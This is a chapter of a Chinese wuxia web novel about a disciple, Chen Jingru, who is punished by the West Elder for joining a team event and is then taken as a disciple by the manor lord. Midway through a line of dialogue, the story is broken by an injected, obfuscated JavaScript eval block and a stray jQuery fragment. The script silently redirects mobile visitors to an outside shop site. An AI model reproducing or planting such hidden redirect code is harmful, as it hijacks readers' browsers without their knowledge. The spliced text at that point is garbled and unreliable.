*
夏日天气无常,短短半个时辰,漫天细雨就变成豆大的雨滴,打的树叶噼啪作响。
眼看着电闪雷鸣就要降下,官道上的马车不得不在狭窄的驿站停靠。
这雨下得蹊跷,驿站不少赶路人因此停靠,马车停靠动静不小,驿站门旁靠着的人慌忙避让,还是被溅上泥水点子。
还没等发作,驿站门童使尽眼色,拼着忙慌着上前来,只见那雕着复杂华贵花纹,只一把玉制扇骨露出,似乎在问什么话,那门童小厮双手置于腹前,点头哈腰。
“要不是这大雨滂沱,还看不到小寺庙装大佛。”外头太乱糟,二楼一窗户打开一条缝,六皇子一身富家闲散少爷装扮,惯看不起这种。
“少爷您惯说俏皮话,小的听不懂。”
“这马车前头都没有挂帘子,您是怎么判定这是个大人物的?”小厮好奇地问。
六皇子指了指自己,“金丝楠木的车架,我都没那么大方!你看那帘子幔帐是今年岭南特供金纱罗,寻常富贵人家得一匹都用来做衣服了,谁当车帘子用?真是暴殄天物!前头的骏马矫健威猛,非等闲之辈养得起,虽然没有挂着皇室御旗,但通体透露着权位高上。真是装都不愿装全套儿,一看就是我那败家兄弟能做出的事。”
六皇子话音没落地,来的另一人倒是把他逗乐了,“哟,你看这万公公倒是相反,跟个落汤狗似的来啦。”
再一看那豪华马车,万公公正毕恭毕敬在马车外回话,六皇子凝视了一会儿这个画面,觉得没意思极了,面无表情拉上窗。
也遮住了不远处冒出个尖儿的傲云山庄。
从外头看来,傲云山庄一切如常。
天刚由阴转晴,西院的气氛却冷若冰霜。
“你要去哪儿?”陈景仁——陈景如的废物兄弟坐在门槛上,一脚踩在门槛处,横在空中堵着陈景如出门的必经之处。
陈景如凝视了他片刻,突然了悟这人就是纯找茬儿的。
“不会吧?”他露出夸张的惊讶面容,嘲弄道,“你不会是要出去练功吧?你不会以为你真的还能代表傲云山庄参加武林大会吧?”
他见陈景如,硬是拉着人家衣领放狠话,血气方刚的少年哪儿受得了三番四次言语羞辱。
他在无数个日日夜夜里,想着我不能一辈子这样活着撑下去,终于有人对他说“我认为你们的能力可以拿魁首”。忽略“们”,顾缃的一番话也熨平了他一直以来焦躁不安的心。
不过是赌一把,那就赌一把吧!
陈景如抬起眼皮,用只有两人能听到的音量,轻声说道,“我不去,难道你的能力就能去了吗?”
他太了解这个同父异母的废物哥哥了,针尖儿大小的心眼配着鱼珠脑子,宅院的勾心斗角浑然天成,剑术只能吊着尾子,还是靠他一点一点动作教着才行。
可这针尖儿大小的心眼觉得自己天赋异禀,没被选上可是好生一场大气,那几日陈景如恨不得把自己缩成米粒大小,当成空气无人在意。
这下空气终于忍不住了,而陈景仁也果然一如既往发癫。
“西长老没发话你当自己还是根葱了!”陈景仁高喊,“快来啊!把他压去长老处,可万不能让这等叛徒当我们院的魁首去参加武林大会!”
另一边,雨将停,连成雾和魏行蕴立刻来报到。
“团队赛主打配合,让你们现在立刻马上修身养性也来不及了。接下来一整天你们都要一同练习同样的招式,范围三步之内,在你们熟练掌握队友的存在之前都要保持这个距离。”
顾缃折下一支柳枝,柳枝细长宛如一根鞭子,裹风厉啸,她反手一抽,削掉柳树旁的石头,魏行蕴和连成雾齐齐回头看,整整齐齐的切面对他们说早上好。
顾缃说:“掌握不好没关系,我会帮忙关注的。”
连成雾倒吸一口凉气,不知道是吓得还是惊得。
几次下来,连成雾从被动挨抽变成了主动挨抽,无他,只因铁链一收力就容易打着自己。
“啧!”连成雾一听顾缃发出此等声响,脑中瞬间拉响岌岌可危的凶兆之声,只怕那下一秒柳条就抽了上来,不如先下手为强。
“哎哟!”
顾缃停下,皱着眉问,“怎么了,又饿了?”
陆伍在一旁看他们颇受顾缃照顾,本就牙痒痒,看连成雾接二连三自己打自己,更是不屑一顾,阴阳怪气地说道,“是铁链太重了?”
连成雾铁链收回,蹭在陆伍身边低声说道,“是阴气太重。”
陆伍一怔,“你们还能看出这个?”
话音刚落地,西长老目不斜视,脸色阴沉如水,大步走了进来,身后跟着门下弟子们,最后两个弟子压着陈景如,拖拖沓沓的跟了进来。
“我倒是不知道,顾女侠还有这等能耐,忽悠的我座下弟子来做这等吃力不讨好之事。”他这顿骂声属实没把顾缃当回事,直奔秦绛所在之处。
陈景如一进来便跪在地上,一声不吭。
西长老穆易出身世家,古板严肃,一丝不苟,平生最恨弟子们言行不一,举止轻浮浪荡,本对陈景如天赋极好高看一番,谁知道这小弟子在距离武林大会还没几日的时候,就被同门揪到偷偷摸摸参加团队赛。
参加团队赛本是好处,可穆易生来和东长老尹眉觉不对付,他一辈子规规矩矩,最看不上东长老那些乱七八糟的武器,什么铁链啊,暗器啊,座下大弟子居然用什么铁球?歪门邪道!
前几日陈景如刚因为被发现私下透露山庄内情给温词,大庭广众下给他闹了个没脸,这一转头就和顾缃弟子勾搭上了,明摆着这不就是看不上他!
顾缃看这老头气势汹汹,暗道不好,西长老看不上她不止这辈子的事,上辈子也因为迂腐条例没少闹腾,这下梁子一来一回,结了个彻底,不得不叹一声孽缘。
秦绛老好人一样招呼西长老先坐下说话。
西长老脸上喜怒难辨,倒像真是来喝茶的。可这么一耽误下去,怕是要来不及了。顾缃给秦绛拼命使眼色,秦庄主终于搁下杯子,和颜悦色去交谈了。
西长老对庄主还是留有一分薄面,他的来意很简单,陈景如要参加个人赛,不能将时间浪费在此。
更何况和连成雾那个惹祸精,西长老的目光有意无意扫过连成雾今早自己被自己打到的青紫处。
秦绛犹豫了一下,看到顾缃不远处低着头,和陆伍商谈接下来要怎么做。
“老夫学艺不精,这个年纪也只得这么一个拿得出手的弟子,个人精力有限,也无从指导团队赛,不如将他团队的名儿去了吧,另寻高明。”
他想了一会儿,还是决定再拉下老脸尝试一下,“实不相瞒……”
“人生安能得两全。”一道声音迫不及待打断他的话,“师父说得对,团
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228078|151296||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
队赛和个人赛哪能样样都要!”
“除非——”陈景仁阴恻道,“让陈景如把个人赛席位让出来。”
陈景如跪在地方猛然抬头,脸上的平静顿时被撕裂,露出蓬勃杀气。
“长老的担心不无道理。”秦绛哈哈大笑,“只是我与这弟子颇为有缘,也万般询问过能否接受团队赛赛制。不过既然是长老开口,想必是代替弟子做的决定?”
“如若只是担心他一人占两位,那就好说了。”秦绛笑眯眯地说道,“身为庄主,至今还未收到过一位弟子呢。”
室内气氛顿时一凝。
秦绛讥诮的扫了眼陈景仁,少年那点龌龊心事只一眼便一扫而光。
“不知西长老能否割爱?”秦绛抚手询问道。
霎时间所有目光都集中在陈景如跪着的身影上。
大雨刚过,院子里弥漫着一股腥气泥土味,陈景如跪了许久,白色的练功服上全是大片的泥水,现在已经干涸了一半。
“庄主想要收你为弟子,你也愿意?”西长老的声音庄重威严,不甚在意的随口问道。
陈景如跪在地上,额头帖服在冰凉的地板上,他沉默片刻,用略带颤抖的声音说:
“弟子愿意。”
西长老失望地看他。
既然成为庄主弟子,便不能继续住在西院了,陈景如在连成雾的陪同下回去收拾行李。还有观望的西院弟子想说些什么,被连成雾不耐烦造出的稀里哗啦的铁链摩擦声给吓了回去。
和陈景如同屋的弟子胆子大些,径直掠过连壮汉,对陈景如打探道,“你怎么突然成庄主弟子了?”
连成雾凉飕飕地说道,“几时了?做早课的功夫就传这么快,我看西院这功夫全用在眼皮子上了,一个接一个的盯着要走的人看。”
那攀谈的弟子听他提起早课,眼神微闪,不甘示弱的小声吐槽说,“拿着鸡毛当令箭。”
赶走了看热闹的西院弟子,连成雾蹲在门口,有一搭没一搭的和陈景如说话,也不管对方回不回答。
“你们西院的风气真差,这点儿事居然闹到要换师父的地步。”连成雾脚尖微动,踢了踢陈景如,说他那看热闹不嫌事大还要火上浇油的哥哥,“你那草包哥哥不是什么好东西,当年分院的时候为什么还跟着他啊?”
陈景如一如既往的不说话,脑子却想起他刚拜入山庄那日,那时候的他瘦得厉害,能随陈景仁上山的名额是府里头四个庶子抢破头得来的,临行出门前还被暗算泼了一包袱的脏水,在一众弟子中显得格外寒酸。
就在他无所遁形之际,西长老长满粗茧的手指摸了摸他的发髻,夸赞道,“根骨不错。”
他一惊,随后听到老人温和的问话,“你可愿拜入我的门下?”
“弟子……”他深吸一口气,响亮地答道:“弟子愿意!”
他在西院待了春耕夏耘,度过秋收冬藏。如今收拾东西的这点空闲,竟然这是他在这里最后的时光了。
快陷入门框的连成雾喋喋不休,他这些年偷来的时光终于要还回去了。
不肯闭嘴的连成雾突然老实,一道身影停在门口。陈景如泪眼蒙眬地望去,嘴里喃喃道:“师父……”
“我已不是你师父了。”西长老摇头。
陈景如跪着的膝盖一转,对着西长老深深地又磕了三个头,“一日为师,终身为师,您永远是我师父。”